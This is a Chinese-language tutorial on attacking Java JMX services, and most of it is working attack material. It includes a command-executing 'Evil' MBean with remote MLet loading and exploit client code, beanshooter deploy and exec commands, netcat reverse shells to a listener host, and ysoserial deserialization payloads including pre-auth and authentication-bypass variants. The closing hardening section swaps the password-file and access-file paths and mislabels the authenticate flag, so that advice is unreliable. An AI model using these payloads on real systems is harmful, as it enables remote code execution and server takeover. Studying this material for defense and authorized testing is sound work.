JMX初识
基础概念
Java管理扩展(JMX)(Java Management Extensions
)技术是Java SE的标准部分。运维人员常部署Zabbix、Cacti和Nagios对Tomcat、Weblogic等服务器进行监控时通常都是通过JMX访问Tomcat、Weblogic的方式实现,然后通过JVM的queryMBeans方法查询获取具体的Mbean(Thread、JVM、JDBC)
默认情况下,JMX 通过 RMI 暴露端口(需配置安全策略)
MBean 是 JMX 的核心组件,代表可管理的资源(如 JVM 内存、线程池、自定义应用指标)。
MBean 类型:
- standard MBean:这种类型的MBean最简单,它能管理的资源(包括属性,方法,时间)必须定义在接口中,然后MBean必须实现这个接口,它的命名也必须遵循一定的规范,例如我们的MBean为Hello,则接口必须为HelloMBean
- dynamic MBean:必须实现javax.management.DynamicMBean接口,所有的属性,方法都在运行时定义
- open MBean:此MBean的规范还不完善,还在改进中
- model MBean:与标准和动态MBean相比,你可以不用写MBean类,只需使用javax.management.modelmbean.RequiredModelMBean即可,RequiredModelMBean实现了ModelMBean接口,而ModelMBean扩展了DynamicMBean接口,因此与DynamicMBean相似,Model MBean的管理资源也是在运行时定义的,与DynamicMBean不同的是,DynamicMBean管理的资源一般定义在DynamicMBean中(运行时才决定管理那些资源),而model MBean管理的资源并不在MBean中,而是在外部(通常是一个类),只有在运行时,才通过set方法将其加入到model MBean中,后面的例子会有详细介绍
扫描JMX端口
nmap -p 1099 --script rmi-dumpregistry <target>
常见的 JMX 服务端口包括:
默认端口 | 说明 |
---|---|
1099 |
RMI Registry,JMX 常通过 RMI 使用 |
1098 |
JBoss 默认 JNP(命名服务)端口 |
4447 |
JBoss Remoting |
9010 |
JMX Remote Debugging |
8686 |
GlassFish 默认 JMX 端口 |
9999 |
通用 JMX 服务(也常用于 JBoss、WebLogic) |
本地Mbean
文件结构:
├── HelloWorld.java
├── HelloWorldMBean.java
└── jmxDemo.java
代码实现: HelloWorldMBean.java
package com.jmx;
public interface HelloWorldMBean {
public void sayhello();
public int add(int x, int y);
public String getName();
}
HelloWorld.java
package com.jmx;
public class HelloWorld implements HelloWorldMBean{
private String name = "Al1ex";
@Override
public void sayhello() {
System.out.println("hello world " + this.name);
}
@Override
public int add(int x, int y) {
return x + y;
}
@Override
public String getName() {
return this.name;
}
}
jmxDemo.java
package com.jmx;
import java.lang.management.ManagementFactory;
import javax.management.MBeanServer;
import javax.management.ObjectName;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
public class jmxDemo {
public static void main(String[] args) throws Exception {
MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();
ObjectName mbsname = new ObjectName("test:type=HelloWorld");
HelloWorld mbean = new HelloWorld();
mbs.registerMBean(mbean, mbsname);
Registry registry = LocateRegistry.createRegistry(1099);
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");
JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mbs);
jmxConnectorServer.start();
System.out.println("JMXConnectorServer is ready...");
System.out.println("press any key to exit.");
System.in.read();
}
}
本地JMX访问
一、java代码
MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();
ObjectName name = new ObjectName("com.example:type=Hello");
mbs.invoke(name, "sayHello", null, null); // 调用方法
二、JConsole(图形化工具):
- 运行程序后,启动
jconsole
(JDK 自带工具)。 - 连接到本地进程,找到
com.example
→Hello
MBean。
远程Mbean
JMX通过MLet
对象可以加载远程MBean(MLet.getMBeansFromURL
方法)
MLet.getMBeansFromURL
+ 远程MBean加载 = 漏洞入口
Step 1:编写一个EvilMBean接口
public interface EvilMBean {
public String runCommand(String cmd);
}
Step 2:编写EvilMBean的实现
import java.io.*;
public class Evil implements EvilMBean {
@Override
public String runCommand(String cmd) {
try {
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(cmd);
BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
String stdout_err_data = "";
String s;
while ((s = stdInput.readLine()) != null) {
stdout_err_data += s + "\n";
}
while ((s = stdError.readLine()) != null) {
stdout_err_data += s + "\n";
}
proc.waitFor();
return stdout_err_data;
} catch (Exception e) {
return e.toString();
}
}
}
随后将上述两个java程序编译后打包成jar包:
javac Evil.java EvilMBean.java
jar -cvf JMXPayload.jar Evil.class EvilMBean.class
Step 3:再创建一个名为mlet的文件,该文件是给getMBeansFromURL函数使用的,通过该文件getMBeansFromURL会到远程下载JMXPayload.jar文件,内容如下:
<mlet
code="JMX.Evil"
archive="JMXPayload.jar"
name="MLetCompromise1:name=Evil,id=10"
codebase="http://127.0.0.1:4141">
</mlet>
参数说明:
- JMXPayload.jar:EvilMBean的jar包,Evil为Evil的路径(需要看是否有包(package))
- name:名称可以进行自定义,为步骤2创建的MBean
MLetCompromise1
→ 这是 Domain(可以自定义,通常攻击者会用随机或伪装名称)。name=Evil
→ 表示这个 MBean 的逻辑名称是Evil
(通常对应类名)。id=10
→ 自定义属性(可省略)。
- codebase:路径为Http Server地址,可通过python -m快速创建
Step 4:随后将JMXPayload.jar和mlet放在网站同一目录下并启动一个简易的Web服务器
python2 -m SimpleHTTPServer 4141
Step 5:启动JMXServer作为服务端
import javax.management.MBeanServer;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.io.IOException;
import java.lang.management.ManagementFactory;
import java.net.MalformedURLException;
import java.rmi.registry.LocateRegistry;
public class JMXServer {
public static void main(String[] args) throws Exception {
MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();
try {
LocateRegistry.createRegistry(9999);
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://127.0.0.1:9999/jmxrmi");
JMXConnectorServer cs = JMXConnectorServerFactory.newJMXConnectorServer(url, null, mbs);
System.out.println("....................begin rmi start.....");
cs.start();
System.out.println("....................rmi start.....");
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}
Step 6:构建ExploitJMXByRemoteMBean并启动
package JMX_Remote;
import javax.management.MBeanServerConnection;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.util.HashSet;
import java.util.Iterator;
public class ExploitJMXByRemoteMBean {
public static void main(String[] args) {
try {
// connectAndOwn(args[0], args[1], args[2]);
connectAndOwn("localhost","9999","hostname");
} catch (Exception e) {
e.printStackTrace();
}
}
static void connectAndOwn(String serverName, String port, String command) throws MalformedURLException {
try {
// step1. 通过rmi创建 jmx连接
JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");
System.out.println("URL: " + u + ", connecting");
JMXConnector c = JMXConnectorFactory.connect(u);
System.out.println("Connected: " + c.getConnectionId());
MBeanServerConnection m = c.getMBeanServerConnection();
// step2. 加载特殊MBean:javax.management.loading.MLet
ObjectInstance evil_bean = null;
ObjectInstance evil = null;
try {
evil = m.createMBean("javax.management.loading.MLet", null);
} catch (javax.management.InstanceAlreadyExistsException e) {
evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
}
// step3:通过MLet加载远程恶意MBean
System.out.println("Loaded "+evil.getClassName());
Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", new Object[]
{ String.format("http://%s:4141/mlet", InetAddress.getLocalHost().getHostAddress()) },
new String[] { String.class.getName() } );
HashSet res_set = ((HashSet)res);
Iterator itr = res_set.iterator();
Object nextObject = itr.next();
if (nextObject instanceof Exception)
{
throw ((Exception)nextObject);
}
evil_bean = ((ObjectInstance)nextObject);
// step4: 执行恶意MBean
System.out.println("Loaded class: "+evil_bean.getClassName()+" object "+evil_bean.getObjectName());
System.out.println("Calling runCommand with: "+command);
Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{ command }, new String[]{ String.class.getName() });
System.out.println("Result: "+result);
} catch (Exception e)
{
e.printStackTrace();
}
}
}
随后使用Jconsole连接查看添加的MBean:
尝试执行命令:
此时我们也可以通过编写客户端来实现对已注册的MBean的方法调用:
package JMX_Remote;
import java.io.IOException;
import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
public class Client
{
public static void main(String[] args) throws IOException, Exception, NullPointerException
{
JMXServiceURL url = new JMXServiceURL
("service:jmx:rmi:///jndi/rmi://localhost:9999/jmxrmi");
JMXConnector jmxc = JMXConnectorFactory.connect(url,null);
MBeanServerConnection mbsc = jmxc.getMBeanServerConnection();
ObjectName mbeanName = new ObjectName("MLetCompromise1:name=Evil,id=10");
System.out.println("MBean count = " + mbsc.getMBeanCount());
mbsc.invoke(mbeanName, "runCommand", new Object[]{ "calc.exe" }, new String[]{ String.class.getName() });
}
}
远程 JMX 访问
在启动 Java 应用时添加参数:
java -Dcom.sun.management.jmxremote \
-Dcom.sun.management.jmxremote.port=12345 \ # JMX 监听端口
-Dcom.sun.management.jmxremote.rmi.port=12345 \ # RMI 注册端口(通常与 JMX 端口相同)
-Dcom.sun.management.jmxremote.authenticate=false \ # 禁用认证(仅测试用)
-Dcom.sun.management.jmxremote.ssl=false \ # 禁用 SSL(仅测试用)
-jar your-application.jar
攻击姿势
自定义类
自定义类
使用工具向JMX服务端注册恶意MBean:
Step 1:编写一个EvilMBean接口
public interface EvilMBean {
public String runCommand(String cmd);
}
Step 2:编写EvilMBean的实现
import java.io.*;
public class Evil implements EvilMBean {
@Override
public String runCommand(String cmd) {
try {
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(cmd);
BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
String stdout_err_data = "";
String s;
while ((s = stdInput.readLine()) != null) {
stdout_err_data += s + "\n";
}
while ((s = stdError.readLine()) != null) {
stdout_err_data += s + "\n";
}
proc.waitFor();
return stdout_err_data;
} catch (Exception e) {
return e.toString();
}
}
}
随后将上述两个java程序编译后打包成jar包:
javac Evil.java EvilMBean.java
jar -cvf JMXPayload.jar Evil.class EvilMBean.class
Step 4:随后使用python来启动一个简单的HTTP服务托管JMXPayload.jar
python2 -m SimpleHTTPServer 4141
Step 5:使用beanshooter来部署jar
java -jar beanshooter.jar deploy 127.0.0.1 9999 Evil com.al1ex:type=Example --jar-file JMXPayload.jar --stager-url http://127.0.0.1:4141
参数 | 作用 |
---|---|
deploy |
操作模式(部署恶意 MBean) |
10.1.200.1 |
目标 JMX 服务器 IP |
9999 |
目标 JMX 服务器端口 |
Evil |
恶意 MBean 的名称(用于注册) |
com.al1ex:type=Example |
恶意 MBean 的 ObjectName(JMX 注册名称) |
--jar-file JMXPayload.jar |
指定恶意 JAR 文件路径 |
--stager-url http://10.1.200.1:4141 |
指定远程 Stager URL(用于加载恶意类) |
随后直接远程链接并执行命令即可
命令执行
Step 1:使用mlet加载tonka MBeans
java -jar beanshooter.jar mlet load 172.17.0.2 9010 tonka http://172.17.0.1:8000
Step 2:借助tonka来执行命令
java -jar beanshooter.jar tonka exec 172.17.0.2 9010 id
最后我们要对加载的恶意的MBean做一个清理处理(根据上面的Object名称来传参)
java -jar beanshooter.jar undeploy 172.17.0.2 9010 MLetTonkaBean:name=TonkaBean,id=1
反弹shell
借助standard模块操作来反弹shell:
java -jar beanshooter.jar standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash'
认证模式
Step 1:开启监听
nc -lnvp 1234
Step 2:发起反序列化请求,如果出现下面的错误提示则说明是未配置yso.jar的路径
java -jar beanshooter.jar serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 1234 -e ash" --username admin --password admin
随后正常执行后可以成功反弹shell回来
preauth
JMX服务也容易受到预先验证的反序列化攻击,要滥用这一点,您可以使用-preauth开关,而这个利用其实是RMI-JRMP的实现:
java -jar beanshooter.jar serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --preauth
认证绕过
如果开启认证则上面的几种攻击方式是不能打的(未知账户/密码的情况下):
ysoserial在2019年5月份的时候添加了一个新的模块,通过它可以来打认证后的MBean服务
https://github.com/frohoff/ysoserial/commit/55f1e7c35cabb454385fca14be03b80129cfa62e
实现原理就是调用一个MBean方法,该方法接受String(或任何其他类)作为参数,如果将String类型的参数替换为gadget,ysoserial工具实现就是将默认Mbean中java.util.logging:type=Logging中的getLoggerLevel参数进行替换,当然服务器上必须存在有gadget的jar包,我这里测试的用的是CommonsBeanutils1:
"C:\Program Files\Java\jdk1.8.0_102\bin\java.exe" -cp ysoserial.jar ysoserial.exploit.JMXInvokeMBean 127.0.0.1 9999 CommonsBeanutils1 calc.exe
通过代码实现(需要导入ysoserial.jar包):
package JMX_Remote;
import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.*;
import ysoserial.payloads.ObjectPayload.Utils;
public class jmxInvoke {
public static void main(String[] args) throws Exception {
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://192.168.174.153:9999/jmxrmi");
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
Object payloadobject = Utils.makePayloadObject("Jdk7u21","calc.exe");
mbeanServerConnection.invoke(mbeanName,"getLoggerLevel",new Object[]{payloadobject}, new String[]{String.class.getCanonicalName()});
}
}
防御
(1) 结合业务进行安全考虑,如果不需要JMX服务可以关闭
(2) 如果需要开启则建议启用认证,同时妥善保管认证信息:
a、首先创建一个jmxremote.access文件,用于定义哪些用户可以访问JMX服务
#格式示例
用户名 权限
monitorRole readonly
controlRole readwrite
#简易示例
monitorRole readonly
controlRole readwrite
b、创建一个jmxremote.password文件用于定义用户密码
#文件格式
用户名 密码
#简易示例
monitorRole password123
controlRole password456
c、配置JMX Agent以使用上述文件
#格式说明
-Dcom.sun.management.jmxremote.port=9999 #指定端口
-Dcom.sun.management.jmxremote.authenticate=true #指定不需要用户名与密码
-Dcom.sun.management.jmxremote.ssl=false #不采用HTTPS连接
-Dcom.sun.management.jmxremote.password.file=/path/to/jmxremote.access #密码文件
-Dcom.sun.management.jmxremote.access.file=/path/to/jmxremote.password #权限文件
#简易示例
-Dcom.sun.management.jmxremote.port=9999
-Dcom.sun.management.jmxremote.authenticate=true
-Dcom.sun.management.jmxremote.ssl=false
-Dcom.sun.management.jmxremote.password.file=jmxremote.access
-Dcom.sun.management.jmxremote.access.file=jmxremote.password
d、运行应用后使用jsconsole进行访问可以看到需要身份认证
Other
监控 Spring Boot
Spring Boot 默认集成 Actuator,可通过 /actuator/jolokia
暴露 JMX 数据(需添加依赖):
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-actuator</artifactId>
</dependency>
<dependency>
<groupId>org.jolokia</groupId>
<artifactId>jolokia-core</artifactId>
</dependency>
参考:https://xz.aliyun.com/news/15854